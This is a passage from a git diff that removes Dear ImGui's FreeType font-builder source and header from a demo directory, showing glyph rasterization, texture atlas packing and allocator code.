gg:::::::::::::g | | - // | | ggg::::::ggg | | - // | | gggggg | v - // | +-------------------------+----------------- ymin - // | | - // |------------- advanceX ----------->| - - // A structure that describe a glyph. - struct GlyphInfo - { - int Width; // Glyph's width in pixels. - int Height; // Glyph's height in pixels. - FT_Int OffsetX; // The distance from the origin ("pen position") to the left of the glyph. - FT_Int OffsetY; // The distance from the origin to the top of the glyph. This is usually a value < 0. - float AdvanceX; // The distance from the origin to the origin of the next glyph. This is usually a value > 0. - bool IsColored; // The glyph is colored - }; - - // Font parameters and metrics. - struct FontInfo - { - uint32_t PixelHeight; // Size this font was generated with. - float Ascender; // The pixel extents above the baseline in pixels (typically positive). - float Descender; // The extents below the baseline in pixels (typically negative). - float LineSpacing; // The baseline-to-baseline distance. Note that it usually is larger than the sum of the ascender and descender taken as absolute values. There is also no guarantee that no glyphs extend above or below subsequent baselines when using this distance. Think of it as a value the designer of the font finds appropriate. - float LineGap; // The spacing in pixels between one row's descent and the next row's ascent. - float MaxAdvanceWidth; // This field gives the maximum horizontal cursor advance for all glyphs in the font. - }; - - // FreeType glyph rasterizer. - // NB: No ctor/dtor, explicitly call Init()/Shutdown() - struct FreeTypeFont - { - bool InitFont(FT_Library ft_library, const ImFontConfig& cfg, unsigned int extra_user_flags); // Initialize from an external data buffer. Doesn't copy data, and you must ensure it stays valid up to this object lifetime. - void CloseFont(); - void SetPixelHeight(int pixel_height); // Change font pixel size. All following calls to RasterizeGlyph() will use this size - const FT_Glyph_Metrics* LoadGlyph(uint32_t in_codepoint); - const FT_Bitmap* RenderGlyphAndGetInfo(GlyphInfo* out_glyph_info); - void BlitGlyph(const FT_Bitmap* ft_bitmap, uint32_t* dst, uint32_t dst_pitch, unsigned char* multiply_table = NULL); - ~FreeTypeFont() { CloseFont(); } - - // [Internals] - FontInfo Info; // Font descriptor of the current font. - FT_Face Face; - unsigned int UserFlags; // = ImFontConfig::RasterizerFlags - FT_Int32 LoadFlags; - FT_Render_Mode RenderMode; - }; - - // From SDL_ttf: Handy routines for converting from fixed point - #define FT_CEIL(X) (((X + 63) & -64) / 64) - - bool FreeTypeFont::InitFont(FT_Library ft_library, const ImFontConfig& cfg, unsigned int extra_font_builder_flags) - { - FT_Error error = FT_New_Memory_Face(ft_library, (uint8_t*)cfg.FontData, (uint32_t)cfg.FontDataSize, (uint32_t)cfg.FontNo, &Face); - if (error != 0) - return false; - error = FT_Select_Charmap(Face, FT_ENCODING_UNICODE); - if (error != 0) - return false; - - // Convert to FreeType flags (NB: Bold and Oblique are processed separately) - UserFlags = cfg.FontBuilderFlags | extra_font_builder_flags; - - LoadFlags = 0; - if ((UserFlags & ImGuiFreeTypeBuilderFlags_Bitmap) == 0) - LoadFlags |= FT_LOAD_NO_BITMAP; - - if (UserFlags & ImGuiFreeTypeBuilderFlags_NoHinting) - LoadFlags |= FT_LOAD_NO_HINTING; - if (UserFlags & ImGuiFreeTypeBuilderFlags_NoAutoHint) - LoadFlags |= FT_LOAD_NO_AUTOHINT; - if (UserFlags & ImGuiFreeTypeBuilderFlags_ForceAutoHint) - LoadFlags |= FT_LOAD_FORCE_AUTOHINT; - if (UserFlags & ImGuiFreeTypeBuilderFlags_LightHinting) - LoadFlags |= FT_LOAD_TARGET_LIGHT; - else if (UserFlags & ImGuiFreeTypeBuilderFlags_MonoHinting) - LoadFlags |= FT_LOAD_TARGET_MONO; - else - LoadFlags |= FT_LOAD_TARGET_NORMAL; - - if (UserFlags & ImGuiFreeTypeBuilderFlags_Monochrome) - RenderMode = FT_RENDER_MODE_MONO; - else - RenderMode = FT_RENDER_MODE_NORMAL; - - if (UserFlags & ImGuiFreeTypeBuilderFlags_LoadColor) - LoadFlags |= FT_LOAD_COLOR; - - memset(&Info, 0, sizeof(Info)); - SetPixelHeight((uint32_t)cfg.SizePixels); - - return true; - } - - void FreeTypeFont::CloseFont() - { - if (Face) - { - FT_Done_Face(Face); - Face = NULL; - } - } - - void FreeTypeFont::SetPixelHeight(int pixel_height) - { - // Vuhdo: I'm not sure how to deal with font sizes properly. As far as I understand, currently ImGui assumes that the 'pixel_height' - // is a maximum height of an any given glyph, i.e. it's the sum of font's ascender and descender. Seems strange to me. - // NB: FT_Set_Pixel_Sizes() doesn't seem to get us the same result. - FT_Size_RequestRec req; - req.type = (UserFlags & ImGuiFreeTypeBuilderFlags_Bitmap) ? FT_SIZE_REQUEST_TYPE_NOMINAL : FT_SIZE_REQUEST_TYPE_REAL_DIM; - req.width = 0; - req.height = (uint32_t)pixel_height * 64; - req.horiResolution = 0; - req.vertResolution = 0; - FT_Request_Size(Face, &req); - - // Update font info - FT_Size_Metrics metrics = Face->size->metrics; - Info.PixelHeight = (uint32_t)pixel_height; - Info.Ascender = (float)FT_CEIL(metrics.ascender); - Info.Descender = (float)FT_CEIL(metrics.descender); - Info.LineSpacing = (float)FT_CEIL(metrics.height); - Info.LineGap = (float)FT_CEIL(metrics.height - metrics.ascender + metrics.descender); - Info.MaxAdvanceWidth = (float)FT_CEIL(metrics.max_advance); - } - - const FT_Glyph_Metrics* FreeTypeFont::LoadGlyph(uint32_t codepoint) - { - uint32_t glyph_index = FT_Get_Char_Index(Face, codepoint); - if (glyph_index == 0) - return NULL; - FT_Error error = FT_Load_Glyph(Face, glyph_index, LoadFlags); - if (error) - return NULL; - - // Need an outline for this to work - FT_GlyphSlot slot = Face->glyph; - IM_ASSERT(slot->format == FT_GLYPH_FORMAT_OUTLINE || slot->format == FT_GLYPH_FORMAT_BITMAP); - - // Apply convenience transform (this is not picking from real "Bold"/"Italic" fonts! Merely applying FreeType helper transform. Oblique == Slanting) - if (UserFlags & ImGuiFreeTypeBuilderFlags_Bold) - FT_GlyphSlot_Embolden(slot); - if (UserFlags & ImGuiFreeTypeBuilderFlags_Oblique) - { - FT_GlyphSlot_Oblique(slot); - //FT_BBox bbox; - //FT_Outline_Get_BBox(&slot->outline, &bbox); - //slot->metrics.width = bbox.xMax - bbox.xMin; - //slot->metrics.height = bbox.yMax - bbox.yMin; - } - - return &slot->metrics; - } - - const FT_Bitmap* FreeTypeFont::RenderGlyphAndGetInfo(GlyphInfo* out_glyph_info) - { - FT_GlyphSlot slot = Face->glyph; - FT_Error error = FT_Render_Glyph(slot, RenderMode); - if (error != 0) - return NULL; - - FT_Bitmap* ft_bitmap = &Face->glyph->bitmap; - out_glyph_info->Width = (int)ft_bitmap->width; - out_glyph_info->Height = (int)ft_bitmap->rows; - out_glyph_info->OffsetX = Face->glyph->bitmap_left; - out_glyph_info->OffsetY = -Face->glyph->bitmap_top; - out_glyph_info->AdvanceX = (float)FT_CEIL(slot->advance.x); - out_glyph_info->IsColored = (ft_bitmap->pixel_mode == FT_PIXEL_MODE_BGRA); - - return ft_bitmap; - } - - void FreeTypeFont::BlitGlyph(const FT_Bitmap* ft_bitmap, uint32_t* dst, uint32_t dst_pitch, unsigned char* multiply_table) - { - IM_ASSERT(ft_bitmap != NULL); - const uint32_t w = ft_bitmap->width; - const uint32_t h = ft_bitmap->rows; - const uint8_t* src = ft_bitmap->buffer; - const uint32_t src_pitch = ft_bitmap->pitch; - - switch (ft_bitmap->pixel_mode) - { - case FT_PIXEL_MODE_GRAY: // Grayscale image, 1 byte per pixel. - { - if (multiply_table == NULL) - { - for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch) - for (uint32_t x = 0; x < w; x++) - dst[x] = IM_COL32(255, 255, 255, src[x]); - } - else - { - for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch) - for (uint32_t x = 0; x < w; x++) - dst[x] = IM_COL32(255, 255, 255, multiply_table[src[x]]); - } - break; - } - case FT_PIXEL_MODE_MONO: // Monochrome image, 1 bit per pixel. The bits in each byte are ordered from MSB to LSB. - { - uint8_t color0 = multiply_table ? multiply_table[0] : 0; - uint8_t color1 = multiply_table ? multiply_table[255] : 255; - for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch) - { - uint8_t bits = 0; - const uint8_t* bits_ptr = src; - for (uint32_t x = 0; x < w; x++, bits <<= 1) - { - if ((x & 7) == 0) - bits = *bits_ptr++; - dst[x] = IM_COL32(255, 255, 255, (bits & 0x80) ? color1 : color0); - } - } - break; - } - case FT_PIXEL_MODE_BGRA: - { - // FIXME: Converting pre-multiplied alpha to straight. Doesn't smell good. - #define DE_MULTIPLY(color, alpha) (ImU32)(255.0f * (float)color / (float)alpha + 0.5f) - if (multiply_table == NULL) - { - for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch) - for (uint32_t x = 0; x < w; x++) - { - uint8_t r = src[x * 4 + 2], g = src[x * 4 + 1], b = src[x * 4], a = src[x * 4 + 3]; - dst[x] = IM_COL32(DE_MULTIPLY(r, a), DE_MULTIPLY(g, a), DE_MULTIPLY(b, a), a); - } - } - else - { - for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch) - { - for (uint32_t x = 0; x < w; x++) - { - uint8_t r = src[x * 4 + 2], g = src[x * 4 + 1], b = src[x * 4], a = src[x * 4 + 3]; - dst[x] = IM_COL32(multiply_table[DE_MULTIPLY(r, a)], multiply_table[DE_MULTIPLY(g, a)], multiply_table[DE_MULTIPLY(b, a)], multiply_table[a]); - } - } - } - #undef DE_MULTIPLY - break; - } - default: - IM_ASSERT(0 && "FreeTypeFont::BlitGlyph(): Unknown bitmap pixel mode!"); - } - } -} - -#ifndef STB_RECT_PACK_IMPLEMENTATION // in case the user already have an implementation in the _same_ compilation unit (e.g. unity builds) -#ifndef IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION -#define STBRP_ASSERT(x) do { IM_ASSERT(x); } while (0) -#define STBRP_STATIC -#define STB_RECT_PACK_IMPLEMENTATION -#endif -#ifdef IMGUI_STB_RECT_PACK_FILENAME -#include IMGUI_STB_RECT_PACK_FILENAME -#else -#include "imstb_rectpack.h" -#endif -#endif - -struct ImFontBuildSrcGlyphFT -{ - GlyphInfo Info; - uint32_t Codepoint; - unsigned int* BitmapData; // Point within one of the dst_tmp_bitmap_buffers[] array - - ImFontBuildSrcGlyphFT() { memset(this, 0, sizeof(*this)); } -}; - -struct ImFontBuildSrcDataFT -{ - FreeTypeFont Font; - stbrp_rect* Rects; // Rectangle to pack. We first fill in their size and the packer will give us their position. - const ImWchar* SrcRanges; // Ranges as requested by user (user is allowed to request too much, e.g. 0x0020..0xFFFF) - int DstIndex; // Index into atlas->Fonts[] and dst_tmp_array[] - int GlyphsHighest; // Highest requested codepoint - int GlyphsCount; // Glyph count (excluding missing glyphs and glyphs already set by an earlier source font) - ImBitVector GlyphsSet; // Glyph bit map (random access, 1-bit per codepoint. This will be a maximum of 8KB) - ImVector GlyphsList; -}; - -// Temporary data for one destination ImFont* (multiple source fonts can be merged into one destination ImFont) -struct ImFontBuildDstDataFT -{ - int SrcCount; // Number of source fonts targeting this destination font. - int GlyphsHighest; - int GlyphsCount; - ImBitVector GlyphsSet; // This is used to resolve collision when multiple sources are merged into a same destination font. -}; - -bool ImFontAtlasBuildWithFreeTypeEx(FT_Library ft_library, ImFontAtlas* atlas, unsigned int extra_flags) -{ - IM_ASSERT(atlas->ConfigData.Size > 0); - - ImFontAtlasBuildInit(atlas); - - // Clear atlas - atlas->TexID = (ImTextureID)NULL; - atlas->TexWidth = atlas->TexHeight = 0; - atlas->TexUvScale = ImVec2(0.0f, 0.0f); - atlas->TexUvWhitePixel = ImVec2(0.0f, 0.0f); - atlas->ClearTexData(); - - // Temporary storage for building - bool src_load_color = false; - ImVector src_tmp_array; - ImVector dst_tmp_array; - src_tmp_array.resize(atlas->ConfigData.Size); - dst_tmp_array.resize(atlas->Fonts.Size); - memset((void*)src_tmp_array.Data, 0, (size_t)src_tmp_array.size_in_bytes()); - memset((void*)dst_tmp_array.Data, 0, (size_t)dst_tmp_array.size_in_bytes()); - - // 1. Initialize font loading structure, check font data validity - for (int src_i = 0; src_i < atlas->ConfigData.Size; src_i++) - { - ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i]; - ImFontConfig& cfg = atlas->ConfigData[src_i]; - FreeTypeFont& font_face = src_tmp.Font; - IM_ASSERT(cfg.DstFont && (!cfg.DstFont->IsLoaded() || cfg.DstFont->ContainerAtlas == atlas)); - - // Find index from cfg.DstFont (we allow the user to set cfg.DstFont. Also it makes casual debugging nicer than when storing indices) - src_tmp.DstIndex = -1; - for (int output_i = 0; output_i < atlas->Fonts.Size && src_tmp.DstIndex == -1; output_i++) - if (cfg.DstFont == atlas->Fonts[output_i]) - src_tmp.DstIndex = output_i; - IM_ASSERT(src_tmp.DstIndex != -1); // cfg.DstFont not pointing within atlas->Fonts[] array? - if (src_tmp.DstIndex == -1) - return false; - - // Load font - if (!font_face.InitFont(ft_library, cfg, extra_flags)) - return false; - - // Measure highest codepoints - src_load_color |= (cfg.FontBuilderFlags & ImGuiFreeTypeBuilderFlags_LoadColor) != 0; - ImFontBuildDstDataFT& dst_tmp = dst_tmp_array[src_tmp.DstIndex]; - src_tmp.SrcRanges = cfg.GlyphRanges ? cfg.GlyphRanges : atlas->GetGlyphRangesDefault(); - for (const ImWchar* src_range = src_tmp.SrcRanges; src_range[0] && src_range[1]; src_range += 2) - src_tmp.GlyphsHighest = ImMax(src_tmp.GlyphsHighest, (int)src_range[1]); - dst_tmp.SrcCount++; - dst_tmp.GlyphsHighest = ImMax(dst_tmp.GlyphsHighest, src_tmp.GlyphsHighest); - } - - // 2. For every requested codepoint, check for their presence in the font data, and handle redundancy or overlaps between source fonts to avoid unused glyphs. - int total_glyphs_count = 0; - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i]; - ImFontBuildDstDataFT& dst_tmp = dst_tmp_array[src_tmp.DstIndex]; - src_tmp.GlyphsSet.Create(src_tmp.GlyphsHighest + 1); - if (dst_tmp.GlyphsSet.Storage.empty()) - dst_tmp.GlyphsSet.Create(dst_tmp.GlyphsHighest + 1); - - for (const ImWchar* src_range = src_tmp.SrcRanges; src_range[0] && src_range[1]; src_range += 2) - for (int codepoint = src_range[0]; codepoint <= (int)src_range[1]; codepoint++) - { - if (dst_tmp.GlyphsSet.TestBit(codepoint)) // Don't overwrite existing glyphs. We could make this an option (e.g. MergeOverwrite) - continue; - uint32_t glyph_index = FT_Get_Char_Index(src_tmp.Font.Face, codepoint); // It is actually in the font? (FIXME-OPT: We are not storing the glyph_index..) - if (glyph_index == 0) - continue; - - // Add to avail set/counters - src_tmp.GlyphsCount++; - dst_tmp.GlyphsCount++; - src_tmp.GlyphsSet.SetBit(codepoint); - dst_tmp.GlyphsSet.SetBit(codepoint); - total_glyphs_count++; - } - } - - // 3. Unpack our bit map into a flat list (we now have all the Unicode points that we know are requested _and_ available _and_ not overlapping another) - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i]; - src_tmp.GlyphsList.reserve(src_tmp.GlyphsCount); - - IM_ASSERT(sizeof(src_tmp.GlyphsSet.Storage.Data[0]) == sizeof(ImU32)); - const ImU32* it_begin = src_tmp.GlyphsSet.Storage.begin(); - const ImU32* it_end = src_tmp.GlyphsSet.Storage.end(); - for (const ImU32* it = it_begin; it < it_end; it++) - if (ImU32 entries_32 = *it) - for (ImU32 bit_n = 0; bit_n < 32; bit_n++) - if (entries_32 & ((ImU32)1 << bit_n)) - { - ImFontBuildSrcGlyphFT src_glyph; - src_glyph.Codepoint = (ImWchar)(((it - it_begin) << 5) + bit_n); - //src_glyph.GlyphIndex = 0; // FIXME-OPT: We had this info in the previous step and lost it.. - src_tmp.GlyphsList.push_back(src_glyph); - } - src_tmp.GlyphsSet.Clear(); - IM_ASSERT(src_tmp.GlyphsList.Size == src_tmp.GlyphsCount); - } - for (int dst_i = 0; dst_i < dst_tmp_array.Size; dst_i++) - dst_tmp_array[dst_i].GlyphsSet.Clear(); - dst_tmp_array.clear(); - - // Allocate packing character data and flag packed characters buffer as non-packed (x0=y0=x1=y1=0) - // (We technically don't need to zero-clear buf_rects, but let's do it for the sake of sanity) - ImVector buf_rects; - buf_rects.resize(total_glyphs_count); - memset(buf_rects.Data, 0, (size_t)buf_rects.size_in_bytes()); - - // Allocate temporary rasterization data buffers. - // We could not find a way to retrieve accurate glyph size without rendering them. - // (e.g. slot->metrics->width not always matching bitmap->width, especially considering the Oblique transform) - // We allocate in chunks of 256 KB to not waste too much extra memory ahead. Hopefully users of FreeType won't find the temporary allocations. - const int BITMAP_BUFFERS_CHUNK_SIZE = 256 * 1024; - int buf_bitmap_current_used_bytes = 0; - ImVector buf_bitmap_buffers; - buf_bitmap_buffers.push_back((unsigned char*)IM_ALLOC(BITMAP_BUFFERS_CHUNK_SIZE)); - - // 4. Gather glyphs sizes so we can pack them in our virtual canvas. - // 8. Render/rasterize font characters into the texture - int total_surface = 0; - int buf_rects_out_n = 0; - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i]; - ImFontConfig& cfg = atlas->ConfigData[src_i]; - if (src_tmp.GlyphsCount == 0) - continue; - - src_tmp.Rects = &buf_rects[buf_rects_out_n]; - buf_rects_out_n += src_tmp.GlyphsCount; - - // Compute multiply table if requested - const bool multiply_enabled = (cfg.RasterizerMultiply != 1.0f); - unsigned char multiply_table[256]; - if (multiply_enabled) - ImFontAtlasBuildMultiplyCalcLookupTable(multiply_table, cfg.RasterizerMultiply); - - // Gather the sizes of all rectangles we will need to pack - const int padding = atlas->TexGlyphPadding; - for (int glyph_i = 0; glyph_i < src_tmp.GlyphsList.Size; glyph_i++) - { - ImFontBuildSrcGlyphFT& src_glyph = src_tmp.GlyphsList[glyph_i]; - - const FT_Glyph_Metrics* metrics = src_tmp.Font.LoadGlyph(src_glyph.Codepoint); - if (metrics == NULL) - continue; - - // Render glyph into a bitmap (currently held by FreeType) - const FT_Bitmap* ft_bitmap = src_tmp.Font.RenderGlyphAndGetInfo(&src_glyph.Info); - IM_ASSERT(ft_bitmap); - - // Allocate new temporary chunk if needed - const int bitmap_size_in_bytes = src_glyph.Info.Width * src_glyph.Info.Height * 4; - if (buf_bitmap_current_used_bytes + bitmap_size_in_bytes > BITMAP_BUFFERS_CHUNK_SIZE) - { - buf_bitmap_current_used_bytes = 0; - buf_bitmap_buffers.push_back((unsigned char*)IM_ALLOC(BITMAP_BUFFERS_CHUNK_SIZE)); - } - - // Blit rasterized pixels to our temporary buffer and keep a pointer to it. - src_glyph.BitmapData = (unsigned int*)(buf_bitmap_buffers.back() + buf_bitmap_current_used_bytes); - buf_bitmap_current_used_bytes += bitmap_size_in_bytes; - src_tmp.Font.BlitGlyph(ft_bitmap, src_glyph.BitmapData, src_glyph.Info.Width, multiply_enabled ? multiply_table : NULL); - - src_tmp.Rects[glyph_i].w = (stbrp_coord)(src_glyph.Info.Width + padding); - src_tmp.Rects[glyph_i].h = (stbrp_coord)(src_glyph.Info.Height + padding); - total_surface += src_tmp.Rects[glyph_i].w * src_tmp.Rects[glyph_i].h; - } - } - - // We need a width for the skyline algorithm, any width! - // The exact width doesn't really matter much, but some API/GPU have texture size limitations and increasing width can decrease height. - // User can override TexDesiredWidth and TexGlyphPadding if they wish, otherwise we use a simple heuristic to select the width based on expected surface. - const int surface_sqrt = (int)ImSqrt((float)total_surface) + 1; - atlas->TexHeight = 0; - if (atlas->TexDesiredWidth > 0) - atlas->TexWidth = atlas->TexDesiredWidth; - else - atlas->TexWidth = (surface_sqrt >= 4096 * 0.7f) ? 4096 : (surface_sqrt >= 2048 * 0.7f) ? 2048 : (surface_sqrt >= 1024 * 0.7f) ? 1024 : 512; - - // 5. Start packing - // Pack our extra data rectangles first, so it will be on the upper-left corner of our texture (UV will have small values). - const int TEX_HEIGHT_MAX = 1024 * 32; - const int num_nodes_for_packing_algorithm = atlas->TexWidth - atlas->TexGlyphPadding; - ImVector pack_nodes; - pack_nodes.resize(num_nodes_for_packing_algorithm); - stbrp_context pack_context; - stbrp_init_target(&pack_context, atlas->TexWidth, TEX_HEIGHT_MAX, pack_nodes.Data, pack_nodes.Size); - ImFontAtlasBuildPackCustomRects(atlas, &pack_context); - - // 6. Pack each source font. No rendering yet, we are working with rectangles in an infinitely tall texture at this point. - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i]; - if (src_tmp.GlyphsCount == 0) - continue; - - stbrp_pack_rects(&pack_context, src_tmp.Rects, src_tmp.GlyphsCount); - - // Extend texture height and mark missing glyphs as non-packed so we won't render them. - // FIXME: We are not handling packing failure here (would happen if we got off TEX_HEIGHT_MAX or if a single if larger than TexWidth?) - for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++) - if (src_tmp.Rects[glyph_i].was_packed) - atlas->TexHeight = ImMax(atlas->TexHeight, src_tmp.Rects[glyph_i].y + src_tmp.Rects[glyph_i].h); - } - - // 7. Allocate texture - atlas->TexHeight = (atlas->Flags & ImFontAtlasFlags_NoPowerOfTwoHeight) ? (atlas->TexHeight + 1) : ImUpperPowerOfTwo(atlas->TexHeight); - atlas->TexUvScale = ImVec2(1.0f / atlas->TexWidth, 1.0f / atlas->TexHeight); - if (src_load_color) - { - atlas->TexPixelsRGBA32 = (unsigned int*)IM_ALLOC(atlas->TexWidth * atlas->TexHeight * 4); - memset(atlas->TexPixelsRGBA32, 0, atlas->TexWidth * atlas->TexHeight * 4); - } - else - { - atlas->TexPixelsAlpha8 = (unsigned char*)IM_ALLOC(atlas->TexWidth * atlas->TexHeight); - memset(atlas->TexPixelsAlpha8, 0, atlas->TexWidth * atlas->TexHeight); - } - - // 8. Copy rasterized font characters back into the main texture - // 9. Setup ImFont and glyphs for runtime - bool tex_use_colors = false; - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - { - ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i]; - if (src_tmp.GlyphsCount == 0) - continue; - - // When merging fonts with MergeMode=true: - // - We can have multiple input fonts writing into a same destination font. - // - dst_font->ConfigData is != from cfg which is our source configuration. - ImFontConfig& cfg = atlas->ConfigData[src_i]; - ImFont* dst_font = cfg.DstFont; - - const float ascent = src_tmp.Font.Info.Ascender; - const float descent = src_tmp.Font.Info.Descender; - ImFontAtlasBuildSetupFont(atlas, dst_font, &cfg, ascent, descent); - const float font_off_x = cfg.GlyphOffset.x; - const float font_off_y = cfg.GlyphOffset.y + IM_ROUND(dst_font->Ascent); - - const int padding = atlas->TexGlyphPadding; - for (int glyph_i = 0; glyph_i < src_tmp.GlyphsCount; glyph_i++) - { - ImFontBuildSrcGlyphFT& src_glyph = src_tmp.GlyphsList[glyph_i]; - stbrp_rect& pack_rect = src_tmp.Rects[glyph_i]; - IM_ASSERT(pack_rect.was_packed); - if (pack_rect.w == 0 && pack_rect.h == 0) - continue; - - GlyphInfo& info = src_glyph.Info; - IM_ASSERT(info.Width + padding <= pack_rect.w); - IM_ASSERT(info.Height + padding <= pack_rect.h); - const int tx = pack_rect.x + padding; - const int ty = pack_rect.y + padding; - - // Blit from temporary buffer to final texture - size_t blit_src_stride = (size_t)src_glyph.Info.Width; - size_t blit_dst_stride = (size_t)atlas->TexWidth; - unsigned int* blit_src = src_glyph.BitmapData; - if (atlas->TexPixelsAlpha8 != NULL) - { - unsigned char* blit_dst = atlas->TexPixelsAlpha8 + (ty * blit_dst_stride) + tx; - for (int y = 0; y < info.Height; y++, blit_dst += blit_dst_stride, blit_src += blit_src_stride) - for (int x = 0; x < info.Width; x++) - blit_dst[x] = (unsigned char)((blit_src[x] >> IM_COL32_A_SHIFT) & 0xFF); - } - else - { - unsigned int* blit_dst = atlas->TexPixelsRGBA32 + (ty * blit_dst_stride) + tx; - for (int y = 0; y < info.Height; y++, blit_dst += blit_dst_stride, blit_src += blit_src_stride) - for (int x = 0; x < info.Width; x++) - blit_dst[x] = blit_src[x]; - } - - // Register glyph - float x0 = info.OffsetX + font_off_x; - float y0 = info.OffsetY + font_off_y; - float x1 = x0 + info.Width; - float y1 = y0 + info.Height; - float u0 = (tx) / (float)atlas->TexWidth; - float v0 = (ty) / (float)atlas->TexHeight; - float u1 = (tx + info.Width) / (float)atlas->TexWidth; - float v1 = (ty + info.Height) / (float)atlas->TexHeight; - dst_font->AddGlyph(&cfg, (ImWchar)src_glyph.Codepoint, x0, y0, x1, y1, u0, v0, u1, v1, info.AdvanceX); - - ImFontGlyph* dst_glyph = &dst_font->Glyphs.back(); - IM_ASSERT(dst_glyph->Codepoint == src_glyph.Codepoint); - if (src_glyph.Info.IsColored) - dst_glyph->Colored = tex_use_colors = true; - } - - src_tmp.Rects = NULL; - } - atlas->TexPixelsUseColors = tex_use_colors; - - // Cleanup - for (int buf_i = 0; buf_i < buf_bitmap_buffers.Size; buf_i++) - IM_FREE(buf_bitmap_buffers[buf_i]); - for (int src_i = 0; src_i < src_tmp_array.Size; src_i++) - src_tmp_array[src_i].~ImFontBuildSrcDataFT(); - - ImFontAtlasBuildFinish(atlas); - - return true; -} - -// FreeType memory allocation callbacks -static void* FreeType_Alloc(FT_Memory /*memory*/, long size) -{ - return GImGuiFreeTypeAllocFunc((size_t)size, GImGuiFreeTypeAllocatorUserData); -} - -static void FreeType_Free(FT_Memory /*memory*/, void* block) -{ - GImGuiFreeTypeFreeFunc(block, GImGuiFreeTypeAllocatorUserData); -} - -static void* FreeType_Realloc(FT_Memory /*memory*/, long cur_size, long new_size, void* block) -{ - // Implement realloc() as we don't ask user to provide it. - if (block == NULL) - return GImGuiFreeTypeAllocFunc((size_t)new_size, GImGuiFreeTypeAllocatorUserData); - - if (new_size == 0) - { - GImGuiFreeTypeFreeFunc(block, GImGuiFreeTypeAllocatorUserData); - return NULL; - } - - if (new_size > cur_size) - { - void* new_block = GImGuiFreeTypeAllocFunc((size_t)new_size, GImGuiFreeTypeAllocatorUserData); - memcpy(new_block, block, (size_t)cur_size); - GImGuiFreeTypeFreeFunc(block, GImGuiFreeTypeAllocatorUserData); - return new_block; - } - - return block; -} - -static bool ImFontAtlasBuildWithFreeType(ImFontAtlas* atlas) -{ - // FreeType memory management: https://www.freetype.org/freetype2/docs/design/design-4.html - FT_MemoryRec_ memory_rec = {}; - memory_rec.user = NULL; - memory_rec.alloc = &FreeType_Alloc; - memory_rec.free = &FreeType_Free; - memory_rec.realloc = &FreeType_Realloc; - - // https://www.freetype.org/freetype2/docs/reference/ft2-module_management.html#FT_New_Library - FT_Library ft_library; - FT_Error error = FT_New_Library(&memory_rec, &ft_library); - if (error != 0) - return false; - - // If you don't call FT_Add_Default_Modules() the rest of code may work, but FreeType won't use our custom allocator. - FT_Add_Default_Modules(ft_library); - - bool ret = ImFontAtlasBuildWithFreeTypeEx(ft_library, atlas, atlas->FontBuilderFlags); - FT_Done_Library(ft_library); - - return ret; -} - -const ImFontBuilderIO* ImGuiFreeType::GetBuilderForFreeType() -{ - static ImFontBuilderIO io; - io.FontBuilder_Build = ImFontAtlasBuildWithFreeType; - return &io; -} - -void ImGuiFreeType::SetAllocatorFunctions(void* (*alloc_func)(size_t sz, void* user_data), void (*free_func)(void* ptr, void* user_data), void* user_data) -{ - GImGuiFreeTypeAllocFunc = alloc_func; - GImGuiFreeTypeFreeFunc = free_func; - GImGuiFreeTypeAllocatorUserData = user_data; -} diff --git a/demos/DemoImGui/misc/freetype/imgui_freetype.h b/demos/DemoImGui/misc/freetype/imgui_freetype.h deleted file mode 100644 index 713e463..0000000 --- a/demos/DemoImGui/misc/freetype/imgui_freetype.h +++ /dev/null @@ -1,50 +0,0 @@ -// dear imgui: FreeType font builder (used as a replacement for the stb_truetype builder) -// (headers) - -#pragma once - -#include "imgui.h" // IMGUI_API - -// Forward declarations -struct ImFontAtlas; -struct ImFontBuilderIO; - -// Hinting greatly impacts visuals (and glyph sizes). -// - By default, hinting is enabled and the font's native hinter is preferred over the auto-hinter. -// - When disabled, FreeType generates blurrier glyphs, more or less matches the stb_truetype.h -// - The Default hinting mode usually looks good, but may distort glyphs in an unusual way. -// - The Light hinting mode generates fuzzier glyphs but better matches Microsoft's rasterizer. -// You can set those flags globaly in ImFontAtlas::FontBuilderFlags -// You can set those flags on a per font basis in ImFontConfig::FontBuilderFlags -enum ImGuiFreeTypeBuilderFlags -{ - ImGuiFreeTypeBuilderFlags_NoHinting = 1 << 0, // Disable hinting. This generally generates 'blurrier' bitmap glyphs when the glyph are rendered in any of the anti-aliased modes. - ImGuiFreeTypeBuilderFlags_NoAutoHint = 1 << 1, // Disable auto-hinter. - ImGuiFreeTypeBuilderFlags_ForceAutoHint = 1 << 2, // Indicates that the auto-hinter is preferred over the font's native hinter. - ImGuiFreeTypeBuilderFlags_LightHinting = 1 << 3, // A lighter hinting algorithm for gray-level modes. Many generated glyphs are fuzzier but better resemble their original shape. This is achieved by snapping glyphs to the pixel grid only vertically (Y-axis), as is done by Microsoft's ClearType and Adobe's proprietary font renderer. This preserves inter-glyph spacing in horizontal text. - ImGuiFreeTypeBuilderFlags_MonoHinting = 1 << 4, // Strong hinting algorithm that should only be used for monochrome output. - ImGuiFreeTypeBuilderFlags_Bold = 1 << 5, // Styling: Should we artificially embolden the font? - ImGuiFreeTypeBuilderFlags_Oblique = 1 << 6, // Styling: Should we slant the font, emulating italic style? - ImGuiFreeTypeBuilderFlags_Monochrome = 1 << 7, // Disable anti-aliasing. Combine this with MonoHinting for best results! - ImGuiFreeTypeBuilderFlags_LoadColor = 1 << 8, // Enable FreeType color-layered glyphs - ImGuiFreeTypeBuilderFlags_Bitmap = 1 << 9 // Enable FreeType bitmap glyphs -}; - -namespace ImGuiFreeType -{ - // This is automatically assigned when using '#define 